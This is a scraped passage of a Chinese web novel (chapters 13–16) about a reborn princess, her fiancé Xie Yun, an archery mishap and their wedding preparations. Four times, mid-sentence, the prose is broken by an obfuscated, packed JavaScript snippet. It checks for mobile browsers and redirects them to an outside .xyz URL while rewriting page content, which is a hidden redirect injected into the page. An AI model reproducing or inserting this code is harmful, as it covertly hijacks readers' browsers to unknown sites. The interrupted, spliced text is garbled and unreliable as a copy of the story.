精心梳理的发髻散乱垂下几缕青丝,他双手死死捂着脸,瘦削的肩膀剧烈颤抖着,呼吸急促,像是要把心肺都呕出来似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220993|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 她急得扑过去,想去抱他,指尖却穿过他的身体,这才想起来自己在这里不过是一缕游魂,不会被任何人看到,也不能做任何事。 她转身对谢昀一顿拳打脚踢,每一拳都穿过了他的身体,不痛不痒,但她需要发泄。 发泄完,她恨恨地瞪着这个一言不发的男人。 半晌,他唇瓣微动,说了句什么。 姒华欢辨认出口型,是“对不起”。 对不起? 荒谬至极!她胸口骤然烧起一团火,事到如今他还在演什么? 忽然,她意识到,谢昀带兵逼宫夺位成功,为什么哥哥能好端端地站在永安宫和谢昀对峙。 难道谢昀看在往日的情分上,留了哥哥一命? 想完她立刻摇头否认了这个想法。不会的,他定是另有图谋。 不等她细想,门外跑进一个宫女,神情紧张又害怕,大声说了什么。 姒华容不可思议地抬头,撑着桌子虚弱地站起身,双目无神、跌跌撞撞地向外跑去。 姒华欢心底生出不好的预感,快速飘着跟上姒华容要去一探究竟,却骤然感到一阵巨大的吸力,如同漩涡般将她从梦中抽出。 她猛地睁开眼睛,冷汗浸透了中衣。 窗外天刚蒙蒙亮,树影在窗纸上摇曳。她无意识攥紧了锦被,坐在床上大口大口地惊喘。 听见声音的魏紫撩开帐子,见她脸色煞白,忙倒了杯温水递过来,“殿下,可是魇着了?” 姒华欢接过茶盏,温热的水滑过喉咙,却驱不散心头寒意。 刚刚真的只是个梦,还是她重生前做为魂魄的记忆? 她决定赶紧躺下继续睡,也许能接着梦到后来的事。 然而她在床上翻来覆去许久都没能再睡着,索性睁开眼盯着帷帐,细细琢磨。 谢昀到底是何时对她起的杀心? 她把前世能想到的事情都捋了一遍,也没想明白。 她突然起身,拉开帷帐:“更衣。” ***** 谢昀毕竟出身将门,如今虽做着文官,却仍保留着晨起练枪练剑的习惯。 他步伐稳健,长枪在手中翻飞,每一次突刺都带起凌厉的风声。而后枪势忽转,侧身横扫,枪杆在空中划出一道笔直的银光。 力道未散,又猛然回抽,手腕一抖,枪尖直指前方,一招一式间干脆利落,没有半分的拖沓。 远处传来几声鸟鸣,他收势而立,目光沉静地望向不远处走近的少女。 姒华欢走得很急,到他面前时气息微乱。不等他开口,一把匕首横在他眼前。 “杀了我。” 谢昀明显一怔,抬手用手背贴到她额间:“没发热,一大早发什么疯?” 姒华欢眼神没有丝毫动摇:“我再给你最后一次机会,杀了我。错过了就没有机会了。” 谢昀忍不住蹙起眉,探究的目光落到她身后的姚黄和魏紫脸上,二人皆一脸惶恐地朝他拼命摇头。 他一把夺过她手中的匕首,扔到身后的石桌上,向他的长随吩咐:“杜风,去找江鹤舒来。” “我没病。”姒华欢坚持道。 谢昀把长枪和匕首扔得更远,睨她:“我看你病得不轻。” 14. 第 14 章 见他连丝毫的犹豫都没有,神色中也并未有不自然之处,姒华欢暗暗松了口气。 看来现在谢昀对她还没起杀心,接下来先与他正常相处便是,她会随时观察他的情况。 她试探完欲走,被谢昀一把拉住。 “做什么?”姒华欢蹙眉。 “在这好好等着。”谢昀语气不容反驳。 “等什么?” “等江临风。” 姒华欢:“不必,我都说了我没病。” 谢昀:“我不信。” 两人僵持着,直到江鹤舒大步流星踏进院子。 他显然来得匆忙,说不准还是被人从床上现薅起来的,唇周有淡淡的青色胡茬,发冠也束歪了。 好不容易不用在太医署当值,可以睡个懒觉,江鹤舒睡得正香,被人摇醒。 一听是康乐公主病了,他一下子醒了神。匆忙漱过口,草草束了发,两边眼屎一抹就扛起药箱出门了。 看着院中两人大眼瞪小眼,姒华欢面色红润并无病容,江鹤舒缓了口气问道:“殿下是何处不适?” 谢昀抢先答道:“她得了谵妄狂病。” 江鹤舒一愣:“?” 姒华欢指向谢昀,没好气道:“这个黑心烂肺的才需要好好治一治。” 说着说着两人又吵起来了。 江鹤舒站在两人中间,一脸生无可恋,最后忍无可忍大喊一声:“够了!” 他瞪着眼,左看看右看看:“我看有病的是我,一大早跑来就为了听你们在这打情骂俏。” “谁跟他打情骂俏!” “谁跟她打情骂俏。” 江鹤舒:“……” 他转而向姒华欢确认:“殿下真的没有不适之处?” 因为吵架,姒华欢白玉般的脸颊上泛起两片淡淡的粉色,一双带着媚色的猫眼朝谢昀翻了个白眼,“没有。” 江鹤舒立刻重新背起药箱,毫不留恋地转头就走:“告辞。” 太阳还未完全升起,兴许还能回去补个回笼觉。 谢昀拉住姒华欢的胳膊,面带忧色,沉吟片刻后郑重提议:“实在不行,喝点符水吧。” 姒华欢甩开他的手,临走前再附送了一个白眼。 ***** 用过早膳,姒华欢乘着步辇来到马球场时,日头正好。 场地四周彩旗猎猎,朱漆栏杆围出一片开阔的草场,新修剪过的青草泛着湿润的清香。青草如茵的场地上,数十骑正往来飞驰,球仗挥舞间带起碎草飞扬。 场边设了凉棚看台,轻纱帷幕随风轻晃,棚中小姐公子们三三两两聚在一处,谈笑风生,时不时望向场中发出阵阵喝彩。 她刚下步辇,便瞧见了凉棚下的叶殊宜,一袭紫色骑装,正在和身旁的男子说话。 那男子背对她,身量修长,一袭蓝色窄袖骑装,束发的玉冠在阳光下泛着温润的光泽,正是好好收拾过一番的江鹤舒。 他们都算是一起长大的,关系很好,抽签时叶殊宜和江鹤舒两人正好抽到了一队,此时正在观察赛况、商量战术。 叶殊宜先瞧见了她,远远地挥手:“华欢!这边!” 姒华欢刚坐下,场上便比完了,该叶殊宜他们上场了。 饮着梅浆看了一会儿,她看得眼睛有些花,往周遭环顾的时候,捕捉到一道熟悉的白色影子。 她起身走到马球场边缘,叉腰站在白色影子身后:“大肥狗,你怎么在这?” 焦焦见到她嘴巴咧开,口中好不容易叼起的球滚落在地,欢腾地向她扑来。 怕它的爪子勾坏罗裙,姒华欢忙后撤一步。 焦焦扑空,湿漉漉的鼻头发出“嘤嘤嘤”的叫声,两个豆豆眉一上一下动来动去,倒是惹人心软,终究还是伸手抚上那毛茸茸的头顶。 蓬松的毛发轻易淹没五指,如同陷进被阳光烘暖的云团。 居然这么好摸。 姒华欢忍不住多揉了几把。 焦焦昂着下巴,闭着眼睛,非常享受地被摸来摸去。 忽然,像是有感应般。她抬眼,就见一支羽箭挟着寒光直直飞来,浑身血液霎时凝滞。 前世那只穿心箭的记忆如潮水般涌上,她想躲,可双腿似有千钧之重,竟是半步也挪移不得,只能眼睁睁看着那箭矢逼近。 铮! 另一道银光从左侧后发先至,将那羽箭击偏,斜斜钉入身旁树干,木屑飞溅,尾羽震颤不休。 “怎么不躲!?” 谢昀气息紊乱,疾奔而至,向来沉静的面容此刻竟显出几分慌乱。 他眉头紧锁,握弓的指节发白,目光在她周身急急扫了几圈,确认她无碍,紧绷的肩膀才略略放松。 姒华欢这时方觉后背一片冰凉,双膝一软,整个人如秋叶般委顿下去。 谢昀随手松开手中长弓,任它随意掉落,修长手臂一揽,将她跌落的身子接入怀中。 怀中人脸色煞白,一双眸子还凝着未散的惊悸。 他抬手轻拍她的脸:“姒华欢,说话。” 焦焦也凑到她身边,焦急地来回跺脚,围在她身边打转,“哼哧哼哧”不停。 他们身处的是靶场和马球场的边缘,不少人听到动静,压不住爱凑热闹的天性,纷纷朝他们这边看来,恨不得把耳朵伸出二里地。 半晌,冻结的血液才冲回脑门,姒华欢空洞茫然的眼神满满燃起滔天怒火。 她深吸一口气,软着腿,靠撑着谢昀的手臂缓缓站了起来,冰冷的眼神划过不远不近站着的几位持弓的公子。 “谁、干、的?” 她一字一顿,声音不高,在场人却能清晰感受到压抑到极致的暴怒。 一蓝衣男子嘴唇哆嗦着,膝盖一软就跪下了:“殿……殿下恕罪,在下……” “你眼睛长头顶上了?”姒华欢根本不听他辩解,厉声打断。 她弯腰,伸手,将谢昀射来的那根箭捡起,扬起手臂就要掷。 蓝衣男子身旁几人立刻跟着一起跪下,拦在他身前,求情道:“殿下饶命,殿下饶命!这位是袁世子,永昌侯的独子,万不能伤他性命啊!” 她管他圆的扁的柿子梨子,就算是永昌侯本人来她都不怕。 她用力扬臂,将那支羽箭狠狠向袁世子掼去。 羽箭正好插进袁世子膝前的草地中,发出令人心惊的闷响。 “靶子离这三丈远!三丈!”姒华欢指着远处的箭靶,“这都能射偏?废物!” 差一点,差一点她就又死于箭下了! 她又不是大罗神仙,能重生一次,还能次次重生不成? 她越想越气,双手叉腰,带着毫不掩饰的鄙夷和羞辱:“卫国公府上随便找一个武婢都能一箭射穿你的猪首。趁早滚回家去,以后别拿弓出来丢人现眼!” 骂声落地,整片草地的空气都凝固了。 袁世子脸色又青又红,瘫软在地,抖如筛糠。 围观者想笑不敢笑,涨红了脸。 姒华欢看也不再看他一眼。 袁世子环顾四周有可怜也有鄙夷的眼神,悲愤交加,抬起小臂盖在眼上,“呜”一声跑开了。 后背上突然传来一阵暖意,她偏头看去,谢昀有一搭没一搭地抚在她后背上,给她顺气。 谢昀被她怒气未消又带着莫名其妙的眼神一瞪,说道:“本来一大早的魂就不全,这又吓又气的,我可不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220994|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没成亲就成鳏夫。” 有必要一直提成亲的事膈应她吗? 况且若不是前世被他所杀,刚刚她怎会身体僵硬动弹不得。 想到前世场景,她没好气地伸手,“啪”一声拍掉背上谢昀的手。 马球场上终于结束了半场比赛,沉浸在比赛中,这才听说她出事的叶殊宜和江鹤舒急急赶来,叶殊宜上看下看左看右看,问道:“华欢你没事吧?” 姒华欢余光扫了眼不远处依旧竖着耳朵的一群人,清了清嗓子:“无事。” 谢昀看着她强装镇定的样子,忍不住轻笑一声。 这声笑落在姒华欢耳朵里满是嘲讽意味,刺耳极了,她挽过叶殊宜就走:“我们回去再说。” 叶殊宜想也没想听话转身,边走边问:“是谁射的箭?” 那箭能射偏到马球场,也就瞎子拉弓能偏成这样。 “什么昌侯府的世子。” “永昌侯世子?” 姒华欢问:“你认得?” 叶殊宜不屑道:“永昌侯是宁妃一母同胞的哥哥,仗着袁老将军的美名,骄奢淫逸,纳了二十多个妾才老来得子,宝贝儿子宝贝得紧。” “这袁世子呢,不学无术,整日斗鸡走狗、喝酒赌钱、欺男霸女,却是个欺软怕硬的。若有人闹上门,永昌侯便给袋银子打发了,出手极为阔绰。许多人打开钱袋一看,立刻偃旗息鼓、息事宁人。” 听到这姒华欢依稀有了点印象,宁妃与永昌侯需求无厌,贪墨享受多年,在前世约莫一年后被谢昀弹劾。最终宁妃被废,永昌侯被夺爵,抄家流放。 她不甚过问朝政,只偶尔听得一些,一时没想起来。 啧,早知道刚才再扔准一点了,这种血脉留着也是祸害。 ***** 午后,姒华欢午睡刚起,姚黄便神神秘秘来报:“殿下,靶场那边出事了。” “何事?” 姚黄抿唇一笑,眼角弯起,两颊的梨涡若隐若现:“殿下亲自去看看就知道了。” 姒华欢道:“什么事还要本公主亲自去看?与我有关?” 姚黄卖关子道:“反正是好事,这清晏园大半的人都赶去看热闹了呢。” 见她这般情状,倒勾起姒华欢几分兴致。横竖今日闲来无事,便搁下手中的香粉,道:“既如此,且去瞧瞧。” 远远的,姒华欢便见靶场内原本悬挂小靶之处,竟立着一方硕大的木板,其上隐约显出人行轮廓。 待走近细看……呦,这不是袁世子嘛。 袁世子直挺挺立于木板前,头顶一枚红果,周身密密麻麻钉满羽箭,紧贴他的衣袍边缘,硬生生在木板上勾勒出了个人行轮廓。 细看那些箭距袁世子的身形,不过毫厘之差。 袁世子面色煞白,额间冷汗涔涔,双腿不住颤抖,但不敢挪动分毫,生怕那执弓之人手抖半分,将箭射入他的皮肉之中。 谢昀张弓,再一次瞄准他,半晌没拉动弓弦,不满地“啧”了一声:“别动啊袁世子,若是这箭又不小心射偏了,可就不好了。” 袁世子闭眼咬牙。 他今天怎么这么倒霉! 本来就是想偷偷教训一下狂妄的康乐公主,吓一吓她,替长宁郡主出口恶气。 康乐公主的骄横超乎他的想象,连他爹的面子都不顾,当众羞辱他。他背后说大话时偏偏被明安侯听到了。 说什么只要自己给他当回靶子,今日所有一笔勾销。 他也是想着早点息事宁人算了,明安侯的骑射之术向来精湛,不会怎么样,便答应了。 可现在—— 明安侯的箭都不小心射偏三十二次了!分明就是在戏弄他! 15. 第 15 章 “你怕射偏,我来。” 听到清亮的声音,围观人群齐齐转头循声看来,见是姒华欢,不约而同地给她让出一条道。 谢昀把拉满的弓放松,思索一瞬,将弓和箭递给她。 弓很大,入手沉甸甸的,姒华欢接过时差点没拿住,身子往下沉了一下,随即快速稳住身形,强装镇定。 看谢昀拿得那样轻松,她以为这弓不重,拿到手才发现,这弓比她想象中的重太多了! 她勉力将弓竖起,纤指扣住弓弦,新的问题出现了—— 她拉不动弓弦。 弓弦只被拉动了非常微小的弧度,小到可以忽略不计,倒显得她像个孩童在摆弄大人的兵器。 她正暗自窘迫,忽觉后背一暖,一个坚实的胸膛不知何时贴近她的后背,手臂绕过她的肩膀,将她半拢在怀中。 他的手掌覆上她持弓的手,另一只手则包住她拉弦的指尖。 温热的体温瞬间裹住了她,她不由怔住。 “我教你。” 耳畔传来低沉的嗓音,温热气息拂过她耳际,痒痒的,还带着点酥麻。 她头一回生出这般异样的感觉,忍不住耳朵微动。 “别动。” 耳朵再次染上他的气息,她的背又僵直了几分。 她能清晰地感受到他胸膛的温度透过衣衫传来,甚至能感受到后背相贴处传来他的心跳,一下、一下,逐渐和她慌乱的心跳节奏共鸣。 她艰难地吞咽了一下,深呼吸,努力让自己镇定下来。 他带着她的手臂缓缓拉开弓弦,能感受到弓弦在他们手中渐渐绷紧的力道。 箭簇所指之处,正是袁世子头顶的红果。 “嗖——” 箭离弦而出,破空之声尖锐刺耳。那颗红果应声而裂,碎屑四溅。 袁世子早已面如土色,双腿一软,险些跪倒在地。 但他周身都是密实的箭羽,让他想跪都跪不下去,只能抖着腿咬牙硬撑。 背后的温热散去,姒华欢这才发现自己屏息已久。 谢昀已退开半步,仿佛刚才的亲昵从未发生过,唯有她指尖残留的温度证明那并非幻觉。 她看都没看远处的活靶子一眼,根本毫不关心圆柿子还是扁柿子的死活,只用残留惊诧的眼睛直勾勾看着谢昀,一时竟出了神。 这家伙怎么突然转性了?竟然会替她解围。按照往常,看到她出糗,他该是第一个乐见其成的才对。 啊……是了,眼下这么多人看着,他自然要做足表面功夫,维持那副温润君子的模样。 装模作样。人前一套背后一套,倒是他的拿手好戏。 围观群众也看懵了。 传言不是说,明安侯是被强迫赐婚做驸马的吗? 那他此刻这是在……? 不过话说回来,这二人安安静静站在一起的场景,确实非常养眼。 康乐公主生得极是明艳,眉目如画,眼尾微挑,顾盼间自有一股天然的娇媚,还带着几分凌厉之气,教人不敢轻易近前。 明安侯身姿修长挺拔,如青竹临风,眉目间自有一股朗朗清气,恍若新雪初霁,举手投足间尽是世家子弟的矜贵从容。 二人一艳一雅,一锋一敛,倒似天造地设的一对璧人。 谢昀倾身凑近,唇角噙着玩味的笑,用只有他们两个能听到的声音低低道:“好看吗?” 姒华欢倏地清醒,回过神来心下暗恼:她到底在干什么!居然盯着谢昀出神! 是不是她今日真的魂不全,三魂七魄留了一魄在前世飘荡。 许是午后的阳光太过耀眼,她有些晕晕乎乎的,脸上也冒出几分热意。 她直接松手把弓扔到地上,哼了一声:“没意思。”看也不看众人,闷着头往靶场外走。 隐约总感觉后背还传来若有若无的热意,谢昀身上的白兰香还沾染到她身上未完全散去,她边走边对魏紫说:“我要回院子沐浴更衣!” 魏紫看她的脸红扑扑的,微微喘着气,忙问道:“殿下可是哪里不适?要不要叫江太医?” 姒华欢摇头。 应是谢昀克她,她才会不适。 一定是这样。 此后数日,姒华欢但凡遇见谢昀,必是转头就走。 回廊窄径上远远看到那道身影,立刻转入岔路。在湖心亭正撒着鱼食,见他前来,便扬手将饵料尽数抛入水中,自另一侧疾步离去。 她笃定谢昀专克她,但凡近身,必有祸事。既如此,不如眼不见为净。 谢昀拿婚事恶心她,她也得找个法子治治他。 一连数日,谢昀都没再见过姒华欢一面。 莫说是当面相遇,便是连她匆匆躲开的背影都未曾得见。 他心下微沉,终是按捺不住,寻到太医署。 他走进院中,一道青色的身影正背对着他,在院中翻晒药材,袖子卷到手肘,露出一截劲瘦的小臂。 他与江鹤舒两人自幼相识,关系还算不错,只是在太医署见面确是罕事。他身子一向康健,他的突然造访,还是让江鹤舒微微惊讶的。 “你怎么来了?”说话间,江鹤舒手上翻着药材的动作未停。 谢昀开门见山道:“公主近日可是抱恙?” 江鹤舒一头雾水:“未曾唤我诊视,公主病了?” 谢昀道:“你都不知道,我怎么会知道。” 江鹤舒手上动作一顿,莫名其妙的眼神扫了他一圈:“那你问这话是……?” 谢昀轻咳一声:“你近日可曾见到她?” 江鹤舒拍了拍手掌沾上的药渣,了然道:“啊,你说这个。这几日公主正忙着在太子的私库中搜罗珍宝,说是给她添妆。” “添妆?” 江鹤舒点点头。 谢昀的表情有些微妙。 她会缺钱? 她的嫁妆早已备下百余抬,远超公主规制。嘉平帝依然觉得不够,今日添些,明日添些,私库里的奇珍异宝流水似的往公主府送。 这般盛宠,前所未见。莫说十里红妆,百里红妆都要有了。 况且他明安侯府最不缺的,就是钱了。 谢家世代将门,先祖随太祖皇帝开疆拓土,立下不世之功。府库中堆积的赏赐,莫说这一世,便是传到十世孙手中也挥霍不尽。 她身为最受宠爱的公主,何至于亲自去姒华容私库中搜罗珍宝? 难道…… 一个念头倏地闪过,谢昀“咔吧”一声折断手中不知何时拿起的药材,扔进药匾中,不带一丝犹豫地转头就走。 只余下江鹤舒痛心疾首的嘶吼:“喂!我的冬虫夏草!” 次日散朝后,谢昀径直去了永安宫,正巧碰上刚迈出门槛的姒华欢。 谢昀:“……你这几日总往子韫那去做什么?” 姒华欢顿住脚步,侧身回眸,怪异地看了他一眼:“我去我哥哥那关你什么事?” 谢昀抿了抿唇,喉结微动,终是将心底盘旋的疑虑问出:“你这般搜罗珍宝,该不会……是想逃婚吧?” 此言一出,姒华欢抬眸,眼神仿佛瞧见了什么稀世蠢物,“我疯了不成?放着大越堂堂公主不做,反倒为了逃婚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236655|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卷着金银细软亡命天涯?” 她嗤笑一声:“谢昀,你未免太把自己当回事了。” 常人若被这般当面奚落,定然要恼羞成怒,谢昀却莫名觉得心口一松,那股盘旋一晚郁气悄然散去。 微妙的心绪转瞬即逝,快得连他自己也未及捕捉。 “哦。”他低低应了一声,声音比方才柔和了些。 姒华欢:“你来就是为了问我这个?” 谢昀牵了牵嘴角:“哈,当然不是。恰巧,恰巧路过罢了。” 他一身绛紫色官袍衬得身姿挺拔,话却说得毫无底气。 姒华欢视线停在他官服上打了个转,用一副“你看我信吗”的表情看着他,眼中尽是嫌弃。 几日未见,他越来越诡异了。 她不想和他多做纠缠,欲拂袖而去,忽觉面颊一凉,指尖轻触,竟是一点湿润。 诧然抬首,但见骄阳灼灼,碧空如洗,哪有一点要下雨的迹象? 未及细思,雨势骤然而至,转瞬间,豆大的雨点已倾泻而下。 她难以置信地望向谢昀,果真遇着这家伙准没好事,连这等晴空落雨的奇事都能被她碰上。 她拎起裙摆疾步返回永安宫,待至廊檐之下,忽闻身后脚步声亦步亦趋,回头就见谢昀施施然跟了进来。 “你跟进我的寝宫做甚?”姒华欢横眉冷对。 谢昀不紧不慢地掸了掸微湿的衣袖,漫不经心道:“自然是避雨。” 说罢竟自顾自坐到了殿中的梨花木椅上,悠闲得仿佛在自家一般。 窗外雨声淅淅沥沥,更让姒华欢心头无端添了几分躁意。 她绷着脸坐到谢昀对面的椅子上,示意宫女看茶,语气硬邦邦道:“太阳雨下不久,雨停了你快些走。” 谢昀闻言轻笑:“急什么?这般难得的雨景,不该好好赏一赏吗?” 姒华欢懒得再理他,不接他话茬,敛眸喝茶,只盼雨早些停,送走这尊大佛。 奈何屋漏偏逢连夜雨。好不容易盼得雨势渐歇,少府监的人却到了。 为首的织染署令看到谢昀也在,脚步微滞,旋即神色如常,恭敬地向两人深施一礼:“见过康乐殿下、明安侯。” “免礼。”姒华欢淡淡道。 织染署令身后两名监作各自捧一华贵锦匣,趋步上前,分别呈于姒华欢与谢昀面前。 匣盖轻启,姒华欢面前的婚服光华流转,乃是皇后特命宫中千名巧手宫女共同绣制的婚服。 深青色的锦缎上,以金丝盘出翟鸟纹样,层层叠叠,遍布衣身,栩栩如生。宽博的袖缘与领襟,皆以蹙金绣勾勒出祥云凤鸟,更显雍容华贵。 谢昀面前的婚服亦非凡品,绛纱为袍,色如枣,庄重沉稳。领缘、袖口以及袍裾处以金线织入螭龙纹样,龙形矫健,隐现于绛纱之下,气度凛然。 织染署令道:“此乃殿下与侯爷下月吉日需着的吉服,烦请殿下与侯爷过目斟酌,若有纰漏之处,下官立时修正。” 紧接着织染署令把自己捧着的锦匣呈到谢昀面前,是一件深青色和绛色相间的衣裳。 相比于他们二人的婚服,这件衣裳就小了很多,看起来像孩童穿的。 姒华欢:“……你有这么大的孩子了?” 谢昀睨她一眼:“我去哪弄这么大的孩子。” 见她误会了,织染署令赶紧说道:“侯爷,这是您吩咐为尊犬特制的礼衣,劳烦侯爷给尊犬试穿一二。若是尺寸或纹样不满意,下官立刻让人重做。” 姒华欢:“……” 谁会特意给家里的狗特制一件礼衣啊? 16. 第 16 章 缕缕青烟盘旋在宗祠的梁柱之间,渐渐弥散,在肃穆的空气中留下檀香的气味。 谢昀端正地跪在蒲团上,脊背挺得笔直,只是安静地跪着,目光落在供案高处两块乌沉的牌位上。 父母去世这十几年来,他想不通事情时,就来祠堂和他们说说话。 有时说着说着就想通了,有时难以抉择时,会问他们如何选择。 “父亲,母亲,”他轻轻开口,声音低柔地如同耳语,却在这空阔的祠堂里显得格外清晰,“下月,我就要成婚了。” 尾音落下,连他自己都未察觉,唇角已悄然向上弯起一个极浅的弧度,露出一丝柔软的笑意。 “就是皇后娘娘的小女儿,蓁蓁。”他顿了顿,像在斟酌词句,又像是在回味什么。 “你们……应该是记得她的。她满月时,娘还抱过她呢。那么小一团,粉白粉白的,眼睛又黑又亮。娘那时还说,像个小瓷娃娃……” 他的目光落在牌位前跳跃的烛火上,眼前闪过一些画面。 是姒华欢生气时瞪得圆溜溜的一双猫眼,叉着腰,伶牙俐齿地和他一句句争辩,从不肯落下风的样子,像只被惹恼了亮出爪子的小猫。 他唇边的笑意加深了些许,带着点无可奈何,轻轻摇了摇头:“当时也没想到,那样一个小小的人,长大后,脾气却大得很。” “只是……近来有些古怪。”他声音低了下去,透出几分不解与烦闷,喃喃道,“我不知道为什么,她总有意无意地躲着我。” 说到这,他心口处莫名泛起一阵酸涩,像是被什么无形的东西堵住了,闷闷的,沉甸甸的。 他语气里带上了几分近乎委屈的茫然:“我倒是,宁愿她还像从前一样跟我对着干才好。” 说完,连他自己都微微一怔。 过去十二年都已习惯她的存在,习惯了与她针锋相对的喧闹,他竟会在平静无波的生活里感到如此不适。 当她的目光不再落在他的身上时,他甚至快要疯了。 她的反常约莫是从嘉平帝要给她选驸马那日起的,在此之前,他实在是想不出别的事能让她气这么久,但是他当时所说确是事实没错。 在此之后的话…… “爹,娘,是我太贪心了吗?”他的声音更低,“……我想不到别的办法了。” “只有这样,她才会这辈子都与我绑在一起。从此我们的名字如同共生一体,无论是谁被提起,都必会牵扯出另一个名字。” 祠堂内寂静无声,只有烛芯燃烧时细微的轻响。 恰在此时,一阵穿堂风不知从何处钻入,悄无声息地掠过供案燃着的白烛。 橙黄的火焰骤然被风压得矮了下去,几乎熄灭,却又在下一瞬向上窜起,高高地跃动起来,比先前燃得更加明亮炽烈。 谢昀看着那灼灼跳动的火焰,脸上出现一个笃定而释然的浅笑。 他对着牌位极轻地点了点头,低沉的嗓音里带着一丝了然的轻松,仿佛得到了某种无声但确切的回应。 “知道了。”他轻轻说。 ***** 姒华欢蹲在花圃几株开得正盛的牡丹跟前,手里拿着小银剪,小心翼翼修掉一片被虫啃坏的叶片。 “这个要不要剪?”姒华欢问专门负责侍弄花草的宫女,将剪刀横过来又竖过去,“这枝应该从这儿剪,还是从这儿?” 宫女恭敬答道:“殿下应剪最上面那枝。” 姒华欢手里的剪子“咔嚓”一下,利落地剪掉一小截多余的细枝。 宫女欲言又止,小心翼翼地用自己手中的剪子,剪掉了更上面的那枝。 剪错的姒华欢:“……” 她确实没什么侍花弄草的天赋,不过她也不需要有,只需负责观赏即可。 “汪!” 一声震天响的犬吠从背后传来,吓得她手一抖,差点剪掉一朵半开的花苞。 不用回头她也知道是谁,这黄耳朵怪叫驴的声音曾盘旋在她脑海久久不能散去。 她站起身,把手中的小银剪递给一旁的宫女。 谢昀一身竹青色的锦袍刚出现在门口,身旁的焦焦先他一步,四只爪子在地上刨得飞快,风风火火地冲了进来。 谢昀被它的热情拽得一个趔趄,平日里那股子镇定从容的样子险些被焦焦的莽劲儿扯没了。 他收拢手中的皮绳,稳住身形,声音带着点喘,恢复以往的镇定,扬声道:“不是我想来的,是焦焦想你了,非要扯着我过来。” 听见他这套“狗想她”的说辞,姒华欢着实无语地翻了个白眼:“你真是通狗性。” “喏,一看便知。”谢昀朝焦焦抬抬下巴。 焦焦认得她的声音和气味,兴奋地在谢昀腿边打转,粗壮的尾巴摇出了残影,喉咙里发出“嘤嘤”的声音,一个劲儿朝她这边拱,皮绳被它扯得笔直。 看到焦焦仰起脸,两只焦黄的耳朵往后缩着背起来,仿佛无声地在说“快摸我快摸我”。 姒华欢忍不住伸手摸了摸它的头,焦焦立刻用湿漉漉的鼻子向上拱,蹭着她的掌心。 “脏死了,”她将被蹭湿的掌心悬在半空,嫌弃道,“你这狗跟你一样烦人。” “它这么喜欢你,你牵着它去御花园遛一会儿吧。”谢昀道。 “麻烦死了,一天天就知道给我添堵。”她嘟囔着,却还是接过了谢昀递来的皮绳。 焦焦立刻欢天喜地,摇着尾巴,拖着她就往御花园的方向小跑。 “哎!慢点!你这大肥狗!” 姒华欢被拽得一个趔趄,手忙脚乱地小跑跟上。谢昀不紧不慢地大步跟在一旁,嘴角噙着看热闹的笑。 平时走多了就喘的她,此刻被一条大肥狗牵着遛来遛去,未施粉黛的脸颊上逐渐泛起健康的粉色。 “我上次就说送你了,你还不要,焦焦回来难过了好一阵子呢。”谢昀悠悠道,目光落在她被狗绳扯得微微发红的手心上。 提起这事姒华欢就如鲠在喉,当日的屈辱场面又浮现在脑海中,恨不得现在就扔了绳子。 她投给谢昀一个“我信你个鬼”的眼神。 “给我吧,”谢昀看着她的表情忍笑,伸手把皮绳绕回自己手上,“省得你明天站都站不起来了。” 这简直就是赤裸裸的嘲讽与鄙视。 姒华欢“哼”了一声,在袖子里悄悄抚摸自己发热的掌心,快走几步,超过那一人一狗。 这时,不远处花丛中突然窜出一只雪白的小猫,“喵呜”一声经过。 焦焦的眼顿时瞪得滚圆,喉咙深处滚出一声短促而兴奋的低吼。庞大的身躯猛然一沉,积蓄力量,后腿一蹬飞了出去,完全是出于刻在骨子里追逐猎物的本能。 姒华欢闻声转身,就见一团巨大的白影朝她的方向猛扑过来。 它完全忘了脖子上还拴着绳子,也忘了绳子另一头还连着它的主人。 “焦焦!” 体重不轻的狗子狠狠一扯,即便是谢昀也来不及做出任何有效的抵抗动作,整个人有些狼狈地向前踉跄扑出。 姒华欢下意识尖叫一声,身体的本能快过一切思考,猛地向后急退,鞋跟却不偏不倚,正正踩在身后一块光滑圆润的鹅卵石上。 “啊!” 她身体一下子失去所有平衡,眼前一阵天旋地转,眼前的景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 